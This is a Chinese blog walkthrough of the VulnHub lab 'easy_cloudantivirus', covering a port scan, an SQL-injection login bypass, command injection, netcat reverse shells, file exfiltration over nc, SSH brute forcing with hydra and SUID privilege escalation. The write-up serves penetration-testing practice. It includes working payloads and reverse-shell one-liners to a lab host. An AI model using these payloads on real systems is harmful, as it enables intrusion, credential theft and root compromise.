vulnhub渗透测试靶场练习2
靶场介绍
靶场名:easy_cloudantivirus
靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
环境搭建
依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
靶场练习
扫ip,扫端口
arp-scan -l
nmap -sS 192.168.0.4
利用sql注入万能密码登录
访问8080端口服务
网站是一个病毒扫描器,需要输入邀请码。
第一思路是使用万能密码尝试能否进入,于是使用burp进行抓包爆破,爆破出了可以登录进去的万能密码:
万能密码为:
"or"a"="a
万能密码的原理是利用sql注入,这里是使用双引号对sql语句进行了闭合,才能进入系统。输入万能密码后进入页面
利用命令执行漏洞反弹shell
提示说尝试使用扫描器扫描其中的文件,那么我们输入hello试试:
返回了扫描的结果,这里我们判断我们输入hello后应该是后台会拼接上命令,我们可以尝试拼接命令看是否会被执行,通常会使用管道符|
输入
hello|id
成功返回了id的执行结果,说明此处存在命令执行漏洞
kali开启监听,使用nc进行反弹shell
hello|nc -nv 192.168.0.3 2333 -e /bin/bash
发现没有反弹成功,查看wp发现是因为靶场环境中的nc没有-e参数
输入
hello|nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
这里kali需要同时开启2233和4444端口
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中
如图所示,我们在2233处输入ls,命令执行的结果会在4444处返回
下载sql文件并进行读取
这里发现一个后缀名是sql的文件
通过nc命令将这个文件下载到kali里:
先在kali里开启监听:
nc -lvvp 5555 > db.sql
然后在可以执行的命令框中执行以下命令:
nc -nv 192.168.0.5 5555 <database.sql
如图所示,就已经收到这个文件了:
使用sqlite3尝试读取文件内容,读到了几个密码
使用hydra尝试爆破ssh
由于靶机开启了22端口,我们尝试找到有bash环境的用户进行密码爆破
通过读取 /etc/passwd文件,我们找到了三个有bash环境的用户
使用在第一次靶场中使用过的hydra进行爆破,需要制作用户名和密码的字典,结果如下:
没有跑出来可以登录的账号密码,说明这条路走不通了,需要再看下别的地方。
继续进行信息收集
继续进行信息收集:
我们在上一级目录中发现了update_cloudav和update_cloudav.c文件
查看详细的文件属性,发现update_cloudav文件属于root,也就是说这个文件有suid权限,所属组是scanner,使用whoami看到我们当前的用户也是scanner,也就是说我们有这个文件的执行权限
suid提权
这里我们可以想到update_cloudav.c就是这个可执行文文件的C语言源码,我们读取一下源文件:
可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
先在kali开启两个端口的监听,然后在执行命令的窗口执行下面的命令,要注意执行命令的路径要在update_cloudav文件所在的目录下
./update_cloudav “a |nc 192.168.0.5 6666|/bin/bash|nc 192.168.0.5 7777”
成功获得root权限!
后记
1.当nc命令带上-e参数无法执行时,可以先尝试一下不带参数的nc命令能否执行,可以执行的话就证明确实是靶机中的nc没有-e参数,就可以采用下面这种方法进行反弹shell
nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中。(当然这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)
2.获取到shell后,要进行详细的信息收集,根据能收集到的所有信息,判断哪些文件可以帮助我们进行提权。像这个靶场中的update_cloudav文件,当然也需要有代码审计能力,这方面我还比较弱,是直接照着wp来的。
最后附上大佬的文章:
https://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489706&idx=1&sn=91f7428304d36f0aea38750b1fbdb587&chksm=cfd86755f8afee43a58eb21f5c00a489841874a7970a3a88764352e19bd8f39fb1eb86687ba2&scene=178&cur_album_id=2923844073592012805#rd
相关文章:

vulnhub渗透测试靶场练习2
靶场介绍 靶场名:easy_cloudantivirus 靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453 环境搭建 依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机…...

在R中安装TensorFlow、TensorFlow_Probability、numpy(R与Python系列第二篇)
目录 前言: 1-安装tensorflow库 Step1: 下载R包tensorflow Step2:安装TensorFlow库 Step3:导入R中 2-安装tensorflow_probability库 Step1:下载R包:tfprobability Step2:安装TensorFlow Probability …...

十大管理——项目成本管理
目录 1.成本管理概念 2.成本管理的四个过程域 2.1四个过程的整体理解 2.2四个过程的ITO口诀版记忆 2.3过程1——制定项目管理计划 2.4过程2——项目成本估算 2.5过程3——项目成本预算 2.5过程4——项目成本控制 3计算题 1.成本管理概念 项目成本管理就是要确保…...
Java BIO、NIO、AIO学习总结
前言:关于BIO/NIO/AIO的文章已经汗牛充栋,俺最近比较闲试图系统学习一下,希望大侠多多指教! 先来个例子理解一下概念,以银行取款为例: 同步 : 自己亲自出马持银行卡到银行取钱(使用…...

sql各种注入案例
目录 1.报错注入七大常用函数 1)ST_LatFromGeoHash (mysql>5.7.x) 2)ST_LongFromGeoHash (mysql>5.7.x) 3)GTID (MySQL > 5.6.X - 显错<200) 3.1 GTID 3.2 函数详解 3.3 注入过程( payload ) 4)ST_Pointfromgeohash (mysql>5.…...

系统学习Linux-ELK日志收集系统
ELK日志收集系统集群实验 实验环境 角色主机名IP接口httpd192.168.31.50ens33node1192.168.31.51ens33noed2192.168.31.53ens33 环境配置 设置各个主机的ip地址为拓扑中的静态ip,并修改主机名 #httpd [rootlocalhost ~]# hostnamectl set-hostname httpd [root…...

IDEA2023隐藏.idea和.iml文件
IDEA2023隐藏.idea和.iml文件 1. 打开file -> setting,快捷键CtrlAlts2. Editor -> File types3. 点击右侧Ignore files and folders一栏4. 添加需要忽略的文件5. 最重要一步 IDEA新建项目会自动生成一个.idea文件夹和.iml文件,开发中不需要对这两个文件修改&…...
【深入浅出C#】章节 9: C#高级主题:反射和动态编程
反射和动态编程是C#和其他现代编程语言中重要的高级主题,它们具有以下重要性: 灵活性和扩展性:反射允许程序在运行时动态地获取和操作类型信息、成员和对象实例,这使得程序更加灵活和具有扩展性。动态编程则使得程序能够根据运行…...

Gorm简单了解
GORM 指南 | GORM - The fantastic ORM library for Golang, aims to be developer friendly. 04_GORM查询操作_哔哩哔哩_bilibili 前置: db调用操作语句中间加debug()可以显示对应的sql语句 1.Gorm模型定义(理解重点ÿ…...
第一百三十三回 StreamProvier
文章目录 概念介绍使用方法示例代码 我们在上一章回中介绍了通道相关的内容,本章回中将介绍 StreamProvider组件.闲话休提,让我们一起Talk Flutter吧。 概念介绍 在Flutter中Stream是经常使用的组件,对该组件的监听可以StremBuilder&#x…...

java 多个list取交集
java 多个list集合根据某个字段取出交集 模拟多个list集合,如下图 如果只有一个集合那么交集就是当前集合,如果有多个集合,那么第一个集合当做目标集合,在通过目标集合去和剩下的集合比较,取出相同的值,运…...

文件上传与下载
文章目录 1. 前端要求2. 后端要求 1. 前端要求 //采用post方法提交文件 method"post" //采用enctype属性 enctype"" //type属性要求 type"file"2. 后端要求 package com.itheima.reggie.controller;import com.itheima.reggie.common.R; impo…...

SpringBoot 整合 RabbitMQ
1. 创建 SpringBoot 工程 把版本改为 2.7.14 引入这两个依赖: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency><dependency><groupId>org.springfr…...

气象科普丨气象站的分类与应用
气象站是一种用于收集、分析和处理气象数据的设备。根据不同的应用场景和监测需求,气象站可以分为以下几类: 一、农业气象站 农业气象站是专门为农业生产服务的气象站,主要监测土壤温度、土壤湿度等参数,为农业生产提供科学依据…...

【论文精读】Learning Transferable Visual Models From Natural Language Supervision
Learning Transferable Visual Models From Natural Language Supervision 前言Abstract1. Introduction and Motivating Work2. Approach2.1. Creating a Sufficiently Large Dataset2.2. Selecting an Efficient Pre-Training Method2.3. Choosing and Scaling a Model2.4. P…...
缓存和分布式锁笔记
缓存 开发中,凡是放入缓存中的数据都应该指定过期时间,使其可以在系统即使没有主动更新数据也能自动触发数据加载进缓存的流程。避免业务崩溃导致的数据永久不一致 问题。 redis作为缓存使用redisTemplate操作redis 分布式锁的原理和使用 分布式加锁&…...
React笔记(七)Antd
一、登录功能 首先要使用antd,要先下载 yarn add antd 登录页面关键代码 import React from react /*1、如果要在react中完成样式隔离,需要如下操作1)命名一个xx.module.scss webpack要求2) 在需要的组件中通过ES6方式进行导入&#x…...

无涯教程-Android - RadioButton函数
RadioButton有两种状态:选中或未选中,这允许用户从一组中选择一个选项。 Radio Button 示例 本示例将带您完成一些简单的步骤,以展示如何使用Linear Layout和RadioButton创建自己的Android应用程序。 以下是修改后的主要Activity文件 src/MainActivity.java 的内容。 packa…...
kafka如何避免消费组重平衡
目录 前言: 协调者 重平衡的影响 避免重平衡 重平衡发生的场景 参考资料 前言: Rebalance 就是让一个 Consumer Group 下所有的 Consumer 实例就如何消费订阅主题的所有分区达成共识的过程。在 Rebalance 过程中,所有 Consumer 实例…...
浅谈一下企业信息化管理
企业信息化管理 企业信息化是指将企业的生产过程,物料,事务,财务,销售等业务过程数字化,通过各种信息系统网络价格成新的信息资源,提供给各层次的人们东西观察各类动态业务中的一切信息,以便于…...

css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...

FFmpeg:Windows系统小白安装及其使用
一、安装 1.访问官网 Download FFmpeg 2.点击版本目录 3.选择版本点击安装 注意这里选择的是【release buids】,注意左上角标题 例如我安装在目录 F:\FFmpeg 4.解压 5.添加环境变量 把你解压后的bin目录(即exe所在文件夹)加入系统变量…...
PostgreSQL——环境搭建
一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在࿰…...

Python 实现 Web 静态服务器(HTTP 协议)
目录 一、在本地启动 HTTP 服务器1. Windows 下安装 node.js1)下载安装包2)配置环境变量3)安装镜像4)node.js 的常用命令 2. 安装 http-server 服务3. 使用 http-server 开启服务1)使用 http-server2)详解 …...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
redis和redission的区别
Redis 和 Redisson 是两个密切相关但又本质不同的技术,它们扮演着完全不同的角色: Redis: 内存数据库/数据结构存储 本质: 它是一个开源的、高性能的、基于内存的 键值存储数据库。它也可以将数据持久化到磁盘。 核心功能: 提供丰…...